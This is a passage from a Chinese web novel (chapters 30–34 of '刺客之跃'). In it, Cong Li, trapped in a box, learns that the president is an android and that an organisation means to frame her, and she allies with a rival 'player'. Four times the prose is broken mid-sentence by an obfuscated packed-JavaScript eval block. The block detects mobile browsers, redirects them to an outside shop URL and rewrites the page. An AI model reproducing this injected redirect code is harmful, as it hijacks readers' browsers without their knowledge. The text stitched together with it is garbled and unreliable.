观景台的部分结构悬挑出岛屿本体，在几千米的高空里让人感受到极致的感官冲击。为了减少风阻，观景台建筑光滑而呈流线型。 往下望去，摩天大楼组成的线条长河蜿蜒穿过密集的方格小点，切割开的区域泾渭分明。 丛黎在半圆的悬挑结构观景台上彻彻底底地晕高了，她紧急关闭朝下的空无之壁投影。 “你的第二位对手，辛莱拉，异能‘领域侵入’。” 被称为“空战王牌”的飞行员辛莱拉正在半圆形观景台的最外侧悠闲自得地吃早餐。 辛莱拉金发蓝瞳，看起来有些年纪了，金发中夹杂着几缕白发，皮肤有一种充满冷光泽的苍白感，穿着飞行服的身形瘦削，腰间系着一个包。 在明亮的天光下，辛莱拉像猫一样眯起眼睛，看起来心满意足。 丛黎现在怀疑纪学默在故意整她，尤其是考虑到他设定了“单方面交流”这个条件。 这些对手未来会不会和她交手尚且不明，他自顾自地给她介绍，也没给她机会中途喊停。 在纪学默去不同地点“偶遇”了五位对手后，她已经彻底晕人，只能记住那些异能。 “交响曲。” “领域侵入。” “迷宫。” “结界。” “双重本能。” 回到办公室后，丛黎不信任地问：“但我真的会和这些人交手吗？” 纪学默给出了肯定的答案： “这五个人平时在浮空岛的不同区域工作，但他们组成了浮空岛的防卫特殊编队三队。” “防卫特殊编队是针对某些特定侵略者的特种防卫队。一旦防卫分析师鉴定了敌人类型，就会派出特殊编队进行抓捕。” “所以，只要你动手，防卫特殊编队三队的这五位成员一定会和你交手。” 丛黎深呼吸了一口气：“意思是到时候我得一个人和五个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590117|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打架，对方还是团队作战，那个交响曲指挥家是队长吧？” 纪学默点头：“希琼是队长，防卫队的顶级战术师。” 丛黎：“……” 别人完成任务后，获得珍稀道具。 她完成任务后，面临更大的生存危机。 倒霉的生涯就是从穿越成盒子开始的。 纪学默慢条斯理地补充道：“当然，你可以选择不动手，毕竟组织的目的并不是刺杀总统。” 她追问：“组织的目的到底是什么？” 纪学默在办公桌前坐下：“下午，我会告诉你。” 丛黎骂：“狗。” 他也不恼：“那你呢？你的选择会是什么？” 选择不动手，她不接任务，一定会死。 选择动手，如果刺杀失败，任务失败，可能会死。 选择动手，如果刺杀成功，她会和防卫特殊编队交手，可能会死。 一个是躺平任宰，另一个是头破血流地寻找希望渺茫的生路。 她不假思索地在心里得出答案：动手。 站着死，比躺着死好多了。 纪学默见她没有回答，便道：“我猜你要动手，可能这和你的生存条件制约有关？” 生存条件制约，最初他也问过她这个问题，探询她是否有“任务”之类的制约。 丛黎实在受够了：“给我……” 纪学默伸出手。 她呆了一下：“你给我手干嘛？我要说的是‘给我滚，收回你的猜测’。” 纪学默的眼神依然平静，但是莫名看起来像是有点碎了，他默默收回手。 …… 下午，纪学默的行程是参加一次会议，旁听经济规划部长的报告，并为总统女士提供建议。 下午也是他所说“揭露组织目的”的时间。 纪学默带着盒子去了总统会议室。 会议室门口站着一个穿着白西装的女人，她拿出一张纸：“请在参与这个会议前宣读以下誓言。” 纪学默接过纸，扫了一眼。 “1.本人绝不携带任何对联邦总统和浮空岛有危害的物件。” “2.本人保证对所得知的机密信息严格保密。” “3.本人保证所提供的所有信息真实可靠。” …… “10.本人知晓，以上宣读的誓言将会被置于‘誓言子弹’的监管下，如有违反，将付出生命代价。” 见纪学默没有宣读誓言，白西装女人催促道：“请立刻宣读。” 纪学默放下纸，抬眼看向她。 这是总统身边新来的异能者保镖，异能是“誓言子弹”。 31. 刺客之跃31 异能“誓言子弹”的使用限制很多，但不妨碍它一旦开始必定得手。 那一页纸的誓言是双方签订的合同，一旦宣读誓言，就相当于给枪上膛，而那把枪正对宣读人的眉心，随时会开出血花。 白西装保镖不耐烦地道：“请尽快。” 丛黎不知道这个异能还有其他什么限制，触手又会伸到多远。 如果她是“有危害的物件”，该怎么定义？假定她此刻是无害的物件呢？如果直到会议结束她都是无害的呢？ 如果是纪学默，他不会冒险赌这个时间上的诡计。 那么他会赌第二种可能吗？比如，她不是“物件”，而是“人”。 纪学默放下纸。 “稍等，我有点渴。” 保镖伸出手指了指：“那边的等候室里有茶水，誓言确实有点长，你最好先喝点水再读。” 纪学默去了一趟隔壁的等候室，解开外套扣子，把西装挂在了隔间的衣帽架上。 他在自动咖啡机里接了一杯咖啡，离开等候室。 在白西装保镖的注视下，纪学默开始宣读誓言。 “本人绝不携带任何对联邦总统和浮空岛有危害的物件。” 纪学默坦然地念下去，他的声音清透顿挫，很适合有理有据地驳倒别人，在念誓言的时候也颇有美感。 “……本人知晓，以上宣读的誓言将会被置于‘誓言子弹’的监管下，如有违反，将付出生命代价。” 白西装保镖满意地朝他点了点头，让出了路：“请进。” 和西装外套一起被落在等候室的丛黎不得不开远景观察情况。 纪学默宣读誓言的时候，既没有利用“危害”的时间定义，也没有利用“物件”这一模糊的概念，而是把重心放在了“携带”上。 其他两个概念都由誓言制定者规定，可变性很强，不一定能躲过。 但他把外套放在等候室，客观上他确实没有携带盒子。 这个道理，和某人带了枪，但在安检前卸下枪是一样的道理。 除此以外，丛黎怀疑纪学默知道她的“远景”功能和限制了。 他离开等候室前，特地把衣帽架转了个方向，让衣服里的盒子对准靠近会议室的那面墙。 算了，跟这种人待久了，底细哪有不被扒的。 她也懒得计较了。 透过远景，会议室里的情形清清楚楚。 会议尚未开始，总统仍在另一个休息室里。 “什么誓言子弹，异能局又搜罗了花里胡哨来头不明的人。” “‘提供的信息真实可靠’这一条誓言，可真是对着你的命门直掐啊。” “我看保证不泄密那条才是冲着某人来的。” …… 纪学默一言不发地站在窗边，等到总统从侧门进来后，才落座。 总统蒙芙女士是个不苟言笑的中年女性，又是军人出身，每根头发丝都透露着冰冷。 她坐下后直入主题，看向经济规划部长：“你提请的审阅事项。” 不知道是不是因为“誓言子弹”的约束，今天那些参会的狡猾老狐狸都不约而同地谨言慎行，不再随意开口表达，整场会议气氛压抑极了。 “……水下城必定能为战事争取更多时间和机会。” 蒙芙总统注视着发言人几秒，转而看向国防部长：“说到战事，南边境的供给线问题，查了吗？” “咳……要真查吗？”国防部长以手掩唇。 蒙芙总统反问：“不然？” 纪学默提醒道：“万一真的查出来什么了呢？” 蒙芙总统愣了一下，目光在空中游移了几秒：“水下城，继续。” 透过远景旁观这一切的丛黎有种看政治喜剧黑色幽默的荒谬感。 调查程序一定要做，但不能真正调查，调查程序不过是“程序”而已，是做给其他人看的。万一真的查出了点什么，那就糟糕了。 纪学默说过，下午他会把组织的真正目的告诉她。 他本可以把盒子扔在办公室里，结束会议后再告诉她。但他冒着风险把盒子带了过来，又特地把她的位置调整到能看到会议室的角度。 这说明这次会议里有关于“组织目的”的线索。 丛黎观察着整场会议。 经济规划部长提出的水下城改革最终是有利于联邦整体而非水下城本身，甚至于服务于南边境进行的战事。 纪学默全程没有表露出丝毫破绽，若无其事地和政客们商讨着怎么盘剥那两座垃圾和囚犯之城。 听到后半场，丛黎这个场外选手几乎昏昏欲睡。 不知道过了多久。 西装外套被拎了起来。 盒子里的丛黎清醒了一些。 “会议结束了。”纪学默状似自言自语地道。 丛黎看着从会议室里鱼贯而出的政客们，心道成大事者果然需要绝佳的意志力。 至少需要抵抗睡意。 还需要听懂并使用各种修辞手法的长难句。 离开时，白西装的保镖依然站在原处，审视着所有人。 纪学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598898|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默回到自己的办公室，把盒子从口袋里摸出来，脱下外套随手一扔，扯开领带，解开两颗扣子：“呼。” 他一副总算解脱了的模样，手臂搭在沙发边缘，仰起起颈项靠在沙发背上。 “你得出什么结论了吗？”他问。 会议的后半场丛黎基本上都在睡觉，她有种被老师抽查问题的心虚，但又不愿表现出来。 她意味深长地来了一句：“问题出在总统身上。” 既然从议题上看不出什么，那么就是人的问题了。 纪学默追问：“然后呢？” 还来？她恼火道：“然后我睡着了。” “该解答问题的是你，别让我自己揣摩，我不像你，心眼子多得像马蜂窝一样。” 纪学默看向她：“睡着了？很无聊吗？” 丛黎：“你看看你自己现在这副鬼样子，不就明白有多无聊了吗？” 他果然摸了摸自己的脸，若有所思：“是吗？” 丛黎发现从会议室回来后，他总是抓错重点。 可能是经历了那场漫长无聊的会议，思考能力受损了吧。 “是的，你可以回答问题了。”她催促道。 纪学默轻声叹气，抬起手搭在额头上，他闭上眼睛回答道： “总统女士，是个仿生人。” 丛黎怔住了。 怪不得……怪不得总统女士有时候的反应给她一种莫名其妙的熟悉感。 苍术在接收芯片远端的指示时也会有那种沉默的停顿，看起来像是在思考或是在审视。 光是这一句话，信息量就足够大了。 既然总统女士是仿生人，那么操纵着芯片、下各种指令的是谁？ 既然总统是仿生人，那么“刺杀总统”这个任务根本是不必要的。 “组织的真正目的，是借着刺杀的名头曝光这个真相，所以才会让仿生人前来执行任务。” “在苍术靠近总统时，组织会给苍术下指令自我解体，到那时，那天在岛上的旅游团就会见证核心大楼爆炸的一幕。” 这就是为什么刺杀总统的手段千千万，组织偏偏挑了“混入旅游团”这一条。 “至于盒子……” 纪学默顿了顿。 他睁开眼睛，看着天花板：“你可以亲我一下吗？” 丛黎的思路硬生生拐了个弯，具象为一个巨大的问号：“？” 纪学默微微皱起眉：“突然就产生了这种好奇心——我想人们在试图了解对手的时候总是会有不合适的好奇心和好胜心。” 32. 刺客之跃32 “我只是在猜，你并不是意识体，所以嘴唇的触感和手的触感会不会是不一样的。” 纪学默的解释让丛黎陷入思考，像蝴蝶翅膀轻轻剐蹭着她的灰质结构。 如果她不是意识体—— 为什么她能被禁锢在小小的盒子里，为什么她不需要进食，为什么她能在外界显形。 可是如果她是意识体—— 为什么她会感到疲倦，为什么她会因为盒子的动荡而感到“晕车”。 那她到底是个什么东西？ “你说你知道十年前的事，那你知道他们杀了渡鸦的身体吗？”她提出疑问。 纪学默坦然道：“渡鸦是渡鸦，你是你，渡鸦失去了身体，不等于你失去了身体，至少我是这么认为的。但现在我暂时不知道怎么证明。” 丛黎想起了她里莎船长。 作为从低维世界过来的虚构人物，她里莎船长的身体似乎是她自己的，而不是班智的，她裙摆上诡异的海草就是证明。 如果按照这个模式推断，确实有可能如纪学默所说的： 她并不是意识体，只是在这个维度的世界里她的身体是特殊的而已。 “所以呢？和组织盗走我的目的有什么关系？”她问。 纪学默摇头：“没关系，我只是突然想到了这点。” 丛黎：“……那你的思维还真跳脱。” 纪学默靠在沙发上，赭红色的皮质沙发衬得他身上黑白分明的配色更为浓郁，像复古胶片里安静的画面。 他没有说话，几乎连睫毛都纹丝不动，仰着头注视着天花板。 好一会儿，他才开口：“你真的想知道组织盗走你的目的吗？” 这话问得奇怪。 她确定道：“我知道组织盗走我没怀什么好心，正是因此，我才更想知道。” 纪学默：“别忘了，我也是组织的合作者。你会恨我吗？” 他深思熟虑好久的语句，听在丛黎耳中，却无比多余。 她稍微揣摩一下，发现自己无法明白他说这句话的动机，更令人困惑的是，只为了这件事，他居然要摆出那副哲学家的样子将近三分钟。 显然，纪学默此等高级变态动物，不是她这种丧气吧啦毫无干劲的普通人能揣测的。 她只回一句：“我众生平等地恨，你可以说了吗？” 听到这句回答，纪学默出乎意料地愣了一下，然后脸上线条一柔，笑了起来。 很温柔的笑，和第一次见面时那种礼貌的笑意不同，是发自内心的觉得好笑，眼角都有淡淡的笑纹。 他用带着笑意的语气回答道：“组织盗走你的目的，是为了让你背锅。” “十年前就计划着从禁锢里逃出来的渡鸦，十年后出来翻天覆地的恶魔，这不是很适合吗？谁听了都会相信这个故事的。所有不愿意和刺杀总统这件事扯上半点关系的公司、势力，都不会吝啬在这个故事上添油加醋传播四方。人们总是喜欢造神，也喜欢毁神。” “刚才开会的时候你也听到了，没有人真的想调查出点真相来，因为那太危险了。所以，像你这样不属于任何一个势力的个人，是最好的背黑锅者，你将承担所有罪责，为了邦国稳固这个高尚的目标做出牺牲。” “这个国家建立在谎言和诡计上，真相和正义是会撼动整个国家的。” 他说话的时候神情柔和，窗户外照入的光线从他的轮廓上流淌而过，墨黑的眼睛里闪动着些微光点。 冷漠，事不关己，隔绝了一切主观的想法。 仿佛这些话只是他需要背诵的报告中的一部分。 丛黎：“组织自己都是坏东西了，怎么还要我背黑锅？” 纪学默：“尾迹云组织，背后的支持者是黎家的一个派系，恐怕黎家暂时没有暴露自己的想法。” 丛黎吃惊：“啊？” 然后她恍然：“怪不得……” 原来是监守自盗。 最初她和组织那三个成员见面的时候，桑寄说是渡鸦在悬赏后附了一段密文，密文里有进入黎家家族大楼的方式。 桑寄说的是假话——要是渡鸦知道进入秘密基地的方式，她就不会被关在里面十年了。 组织派出苍术孤身进入黎家家族大楼顶层从秘密基地里偷出盒子，除了“监守自盗”才能做得到以外，没有另一个可能了。 另外，那天黎家的追兵在建筑工地和苍术对峙这件事也证明了纪学默的说法。 追兵得到的指令应该是“查出盗窃事件主使者”，但他们却放弃了追那个开黑车的司机鲜皮。 指令应该是“完好无损地追回盒子”，但追兵却在建筑工地开炮了——这应该是来自黎家另一个派系的指令。 总之，仔细回想一下，从黎家的地盘离开那段经历里，确实存在很多违和的线索，原因不止“监守自盗”，也涉及“派系纷争”。 丛黎心累：“太复杂了……” 纪学默看向另一个方向，却见盒子里的人显形坐在了他旁边。 丛黎让自己的高维显形坐在了沙发上。 她几乎快证明自己并不是意识体了，因为她能感觉到沙发的独特质感。 她用手往下用力压了压，把皮质沙发按出些凹痕来。 “怎么跑出来了？”纪学默微不可察地叹了口气，“我解释给你听的时候，你没有认真听，反而在研究沙发的质感。” “你怎么知道我没认真听？”丛黎舒坦地往沙发上一靠，“我只是没什么想法，感觉我挺倒霉的，一路倒霉到现在。倒是你，别用那种眼神看我，让我感到不舒服。” 他丝毫没有收敛地注视着她：“哪种眼神？” 她想了想，好不容易从自己生锈的脑袋里挖出一个精确的形容：“贪婪的，撕包装袋一样的。” 纪学默没有回答，他脸上的笑意淡了些，眼睫颤动了一下，收回目光。 房间里的时钟正指下午四点。 光线偏斜了一点。 打扫机器人启动后在办公室里嗡嗡嗡地开始工作。 纪学默走过去拔掉了打扫机器人的电源。 重归安静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612352|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “整件事的后果预计是，苍术会死，你背黑锅的同时大概率也会死。”他总结道。 丛黎听到“苍术会死”的时候，忽然不合时宜地想起亚尔弗那个江湖骗子给出的占卜词了。 以死的代价失而复得…… 她想到这里，不免自嘲：她居然和仿生人一样开始期待预言这种缥缈的东西了，而且还是江湖骗子给出的假预言。 她收回发散的思绪，不在乎地回答道：“反正都烂成这样了，再烂一点我都能接受。” 纪学默追问：“如果有人强迫你做二选一的选择，两个选择都有不同方面的损失，你会选择什么？” “有人强迫我做A或B之间的选择，我就选‘或’。” “或？A或B中间的那个？” “是的，就是掀翻桌子的意思。” “你真是……” …… 这天晚上，纪学默依然在浮空岛上留下来加班。 明天就是行动的日子。 丛黎抱着“在ddl前最后一次刷论坛放松心情”的心态打开游戏论坛投影。 但她的心情却在看到被顶到首页的一个帖子后迅速沉降下来。 帖子标题“关于第一个任务和第二个任务我要问问大家” 楼主（小白plus）：众所周知，这个游戏的第一个任务是“刺杀总统”，第二个任务是“阻止神秘组织刺杀总统”。 2L（小白plus）：同样众所周知，触发任务的玩家不接任务或者任务失败都会死亡。 3L（小白plus）：现在我大着胆子自曝一下，我很有可能是触发第二个任务的那个玩家，我本来在异能局工作，现在是总统的保镖，听说是因为有组织要行动，特别派出我们这批新保镖。 4L（小白plus）：我要接第二个任务了，有谁接了第一个任务吗？ 丛黎一时间不知道怎么反应。 第二个任务，阻止神秘组织刺杀总统，难道不是冷青触发的吗？ 现在居然有另一个玩家跳出来说可能触发了这个任务。 关键是……在异能局工作，目前是总统保镖，这个身份的指向性很明确。 这个叫“小白plus”的玩家就在浮空岛上！ 8L：我能理解楼主的意思，如果那个触发“刺杀”任务的玩家没有接任务，那么楼主只要对付神秘组织派来的其他人就好，没什么心理负担。但如果接了任务，那么两个玩家肯定会起冲突。 89L：最开始的时候就有人预测过了吧，如果有人穿越成了总统保镖之类的。 112L：但是如果1号任务玩家没有接任务的话，就是死路一条……而且最后两个玩家里肯定只有一个能存活…… 丛黎感到自己的心脏在慢慢地鼓动着，巨大的阴影仿佛从她头上压下来。 苍术会死。 她可能会死。 另一个玩家可能会死。 她犹豫了一下，在论坛回复页面发送消息。 130L（有点方）：1号任务，我接的。 33. 刺客之跃33 “这是要见证玩家对抗了吗？” 游戏论坛上的玩家发言数量暴增，如同水体中的溶解氧量降低时，成群的鱼浮到水面一样。 1L：吃瓜的各位，隔壁那个帖子就不要顶了，让那两位苦主（）对阵，这个帖子专供各位局外人讨论分析吐槽。 2L：二楼出售瓜子板凳矿泉水爆米花。 6L：作为一个有幸完成了一次任务的玩家，回头来看看果然还是1号任务和2号任务刺激。（一边吃瓜一边庆幸自己没抽到这两个任务之一） 19L：战况速报！隔壁楼主“小白plus”已经开始试探“有点方”的具体情况了。 23L：我觉得情况不容乐观，论坛没有私聊功能，两个玩家讨论的内容都会被大家看到，即使“小白”愿意自曝，“有点”大概率也不想自曝。根据任务提示，玩家“有点”属于某个神秘组织，这个身份不好自曝……搞不好会陷入危险。 29L：所以这个游戏的机制到底为什么是这样？（抓耳挠腮）私人任务公屏投放，论坛没有私聊机制，还允许搜索论坛内所有言论。一不小心就会掉马，在现实中被嘎掉。 36L：29楼还觉得这是个游戏吗？这都已经有好几个玩家因为没完成任务死亡了，这显然不是个游戏。所谓“系统”的恶意简直溢出屏幕了！它就是想收割玩家的性命，挑起玩家内部的争端！ 40L：歪楼了歪楼了，关于游戏和系统我们另开一帖讨论吧，这个帖子我们就专注1号任务和2号任务吃瓜，好吧？ 56L：战况简报又来了！隔壁1号任务玩家“小白”放出狠话，2号任务玩家“有点”仍然没有发言！ …… 浮空岛上，夜晚的降临让这里成为空荡荡的机器围城。 办公室里亮着灯。 纪学默洗漱完毕，靠在午休床上，看了一会儿新闻和消息后关掉电子设备，调整了午休床高度准备睡觉。 在关上灯休息前，他想了想，对盒子道：“丛黎，祝你好运。” 灯灭了。 黑暗里，盒子平稳地放在桌上。 盒子内，丛黎正忙着处理论坛上的情况。 论坛用户之间没有私聊渠道，这个设定让事态变得更为复杂。 至少，她不会像玩家小白那样自曝。 230L（小白plus）：我知道你的身份不好自曝，但我们两个肯定有一个会死。首先我没有权力要求你放弃任务，因为我也不想放弃任务。 233L（小白plus）：我发这个帖子，就是希望能和你避开正面对抗，至于你的想法，我不在乎，只要我自己做到问心无愧就好了：我不会对玩家出手。 234L（小白plus）：如果你愿意，我们可以商量好特征、暗号什么的，这样我们能认得出彼此。或者你还有什么更好的办法吗？ 丛黎看了一眼论坛上其他玩家的反应。 有些人认为玩家“小白”很有原则，仁至义尽，如果她不回应，反而显得她把别人的好心当作驴肝肺。 有些人则认为玩家“小白”在空手套白狼，用看起来真诚的方式套取对手的情报，给自己的任务成功增加筹码，甚至有人认为她（1号任务玩家）一开始就不该站出来回答。 丛黎终于回复了。 在经过漫长的内心博弈后，她回复了玩家小白。 第270楼。 270L（有点方）：【在论坛上我不会和你多说，有诚意的话，明天早上九点浮空岛核心大楼八楼女洗手间见，我会来找你的。】 她的回复发出后，一下子激起了千层浪。 玩家们按捺不住自己的激动心情。 271L：哇靠！ 279L：刺客已经登上浮空岛了震惊。 280L：女洗手间，是已经确定玩家小白是女性了吗？ 287L：会不会在洗手间里打起来啊？ 288L：（阴暗）（喃喃低语）两个玩家各自把这个情报出卖给自己的组织，然后守卫团和神秘组织就这么在洗手间里打起来了（喃喃低语）（阴暗）。 290L：我对玩家“有点方”有点印象，“有点”上次是触发穿越真相线索的玩家。 298L：大家都在理智分析，让我先发个疯，啊啊啊嗷嗷嗷！！！ 299L：友情提示一下，这个帖子的吃瓜群众要激动要发疯要买股请到隔壁帖子去，不要打扰两位当事人交流。 丛黎在等着玩家小白的回复。 到第300楼时，玩家小白再次出现了。 300L（小白plus）：好，谢谢你愿意和我见面。 深夜的论坛上，玩家们仍然在建楼叠高吃瓜，各种猜测层出不穷。 而在深夜的浮空岛上，除了留下来加班的公务员、守卫以外，再也没有人影。 凌晨三点，巡逻无人机又转了一圈。 凌晨五点，机器人眼冒红光开始辛勤工作。 早上七点，早餐机器人敲开办公室的门。 早上八点，飞船载着公务员和联邦总统来到浮空岛上。 早上八点半，旅游团飞船缓缓在机场的另一侧停下，游客们鱼贯而出。 早上八点四十分，纪学默带着盒子去了核心大楼，今天上午他有一次和总统的谈话。 纪学默希望自己的谈话尽快结束，免得和刺杀行动扯上关系。 早上八点五十二分，纪学默在盒子的强烈要求下走进男洗手间。 早上八点五十七分，联邦总统蒙芙女士进了女洗手间，保镖在外面等候。 早上八点五十九分，联邦总统蒙芙女士从女洗手间出来，保镖看了一眼手表，和另一个保镖换了班。 保镖换班后，急匆匆走进女洗手间内。 上午九点。 那位异能是“誓言子弹”的女保镖正是玩家“小白plus”。 女保镖在女洗手间内见到了玩家“有点方”。 对手是个女性，戴着面具：“你好，小白。” 男洗手间和女洗手间之间隔了一个打扫小间，两堵墙。 纪学默带着盒子在隔壁的隔壁，丛黎则把高维显形投放到了女洗手间。 “你是怎么进核心大楼的？”女保镖警惕地问。 丛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624278|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎打断她：“时间紧迫，你不要说话，听我讲。” 女保镖的手按在腰间的枪上，暂时按兵不动。 丛黎：“我们两个，并不是敌对的状态。” 见女保镖的眼神中流露出不信任，丛黎继续道：“我的任务是刺杀总统，但我并不属于神秘组织。” 女保镖错愕地睁大眼睛：“你不属于神秘组织……” 丛黎：“所以你明白了吗？你的任务并不是阻止我，而是阻止神秘组织。” 1号任务：【刺杀总统】 2号任务：【阻止神秘组织刺杀总统】 之所以几乎所有玩家都会认为接下1号任务和2号任务的玩家是敌对状态，是因为系统提示误导了玩家。 玩家以为“神秘组织”是一个任务的线索提示词。按照常理，玩家初来乍到，根本没有动机出手刺杀总统，除非是神秘组织要求的。 想当然地，所有人都认为1号玩家是被某个神秘组织要求执行刺杀总统的任务。 更何况，当时两个任务的触发时间相近，全服公开，不确定该不该接任务的玩家们在发现2号任务后，认为第二个任务中的限定词“神秘组织”是为了让其他不属于组织的玩家能及时收手，免得出现太多人同时刺杀总统/一起阻止的闹剧。 只有被神秘组织分派任务的才是触发1号任务的玩家，同样，只有接到神秘组织要出手的消息的玩家才是触发2号任务的玩家。 可是谁也没有想到：1号玩家不属于组织，2号玩家要阻止的是组织却不是1号玩家！ 女保镖将信将疑：“但是，我凭什么相信你？” 丛黎没有回答她的问题，径直说下去：“神秘组织派来的杀手是一个仿生人，行动时间就在今天。他会接到指令解体自爆，我把他的特征告诉你，你的任务是阻止他的行动，其余我会帮助你。这样，你能完成你的任务，我也能完成我的任务。” 女保镖扬起眉毛：“你对那个组织的行动了如指掌，我凭什么相信你不是那个组织的？” 两人对视几秒，洗手间外传来了脚步声。 丛黎看着她：“凭你自曝的勇气，凭你今天来和我见面的勇气。” “你相信来自同一个世界的玩家之间存在坦诚交流，希望玩家之间是命运共同体。既然这样，也请你相信我。” 女保镖愣了一下，她搭在枪上的手缓缓放下了，做出碰拳的手势。 靠近洗手间的脚步声渐近。 哒，哒。 在那个公务员踏入洗手间前，女保镖感觉到了有人和她碰了碰拳，触感是温热的，然后，她面前的影子消失了。 女保镖释然地松了一口气。 论坛上。 眼见昨天约定的时间九点钟已经过了两分钟，玩家们再次闹哄哄地开始猜测事情走向。 两个敌对的玩家。 到底谁放弃，还是各凭实力，或者已经有人出卖了对方。 系统：【恭喜玩家1000和玩家2600组成临时同盟，获得论坛内私密情报分享特权】 1L：我去敌对的两个玩家组成临时同盟了？！我没看错？ 34. 刺客之跃34（一更） 丛黎获得了论坛内私密情报分享特权。 像濒死的鱼获得了水，虽然看起来微不足道，却足以拯救整个岌岌可危的局面。 她立刻登上论坛，发现多了两个选项：【发布私密情报】，【发布公开情报】。 发布公开情报可以增加【声望值】，但声望值又是什么？ 她暂时把花里胡哨的论坛功能从视野里屏蔽掉，选择“发布私密情报”后跳出来“选择玩家”，最后又跳出了一项“选择图片”。 选择图片？ 难不成还能用瞳孔摄像机传递画面？ 丛黎尝试着在心里“咔嚓”按了一下快门，果然下一秒，图片库里多了一张男洗手间的照片。 丛黎：“……” 她这才发现纪学默还在洗手间里，站在窗口发呆。 她提醒道：“纪学默，可以走了。” 纪学默将目光从窗外收回：“好。” 丛黎心里有点发毛：“你今天怪怪的，我以为你会问我为什么要来这里，到底和谁见面。” 纪学默扬了扬唇，坦然道：“你就尽管使唤我吧，今天是最后一天，我不会探究任何关于你的事。” 信他才有鬼。 丛黎在心里记下一笔。 时间紧迫，她暂时没有精力对付纪学默，她继续研究新出的“情报分享”功能。 既然能传图片，那么记忆里的图片呢？ 她尝试着回忆苍术的形象，同时用意念按下快门，结果也没有让她失望。 图片库里出现了来自记忆里的画面，虽然模糊了一点，但仍能辨认出苍术的模样。 这个功能好用！ 丛黎迅速把苍术的记忆图像作为“私密情报”发送给了玩家小白。 传送一则私密情报：记忆图像.jpg 【有点方】：这是组织派出的杀手，拖住他的行动就可以。 纪学默走过安检毯，虹膜扫描和面部识别后，个人信息和安全等级在屏幕上显示出来。 人员：纪学默 权限：A级 事项：私人谈话 扫描结果：未检测到危险物品 丛黎已经习惯了浮空岛上的人工智障。 在她对这个世界的想象中，人工智能的眼睛布满遍处，人类无所遁形。当然，在平民街区确实是这样的。 然而，越是靠近权力核心的地方，人工智能的权限越小。 因为人工智能不懂谎言和诡计，它也不被允许懂。 浮空岛就是其中一个权力核心。在这里，各大公司的触角对权力的争夺体现得淋漓尽致： 浮空岛规划部对整座岛商业活动和行政管理的控制； 异能局派出异能者保镖，同时也是眼线； 联邦超级人工智能“冬客”被拆分成了分布式人工智能网络； 总统所在的党派对总统决策的干预； …… 正如纪学默所说，各方势力达成了一种微妙的平衡。 分权和制约看似安全，却阻止了绝对权力的出现，反而更加漏洞百出。 纪学默走进总统办公室。 “异能局派来的新一批保镖简直像苍蝇一样，寸步不离。”蒙芙总统皱着眉抱怨了一句。 纪学默坐下：“或许是异能局那边收到了什么秘密消息。” 蒙芙总统冷笑道：“收到消息却不对我报告，是打着保护之名行监视之实吧。” 纪学默笑而不言。 在浮空岛上，所有人都是傀儡，代表着不同势力进行竞争、合作和背叛。 就连总统也不例外。 在接下来的半小时内，纪学默就南边境冲突这一议题和总统进行了一次简短而充实的谈话。 谈话结束，他拒绝了总统提出的咖啡时间，急匆匆离开了，转头就去了“云端”大楼顶层享受咖啡时间。 “云端”大楼十二层的高级权限区。 这是为高级权限官员们准备的休憩场所，更是生产交易与阴谋之地。 就连总统密会大使，都会选择这个绝佳的场地。 纪学默挑了一间最外部的包间，打开窗就是浮空岛的高空景色。 他关上门，按动按钮，让门外部显示“请勿打扰”。 没有电子设备，连信号都是隔绝的。 “我会坐在这里，观摩你的死亡。” 纪学默目光放远，看向窗外正对的核心大楼。 丛黎估算了一下距离，心里有了底：“那你就看着吧。” 纪学默慢条斯理地拿起叉子，往桌上的甜点上按下。 甜点平滑的糕体上出现裂缝。 他不经意地道：“尽管浮空岛上因为权力争斗而漏洞百出，你还是只身难逃。” “我已经把你带上了岛，按照你的能力完全可以胜任刺杀任务，但组织要求等旅游团到来后再动手。” “因为在其他时间段，岛上发生的所有事件都会被严严 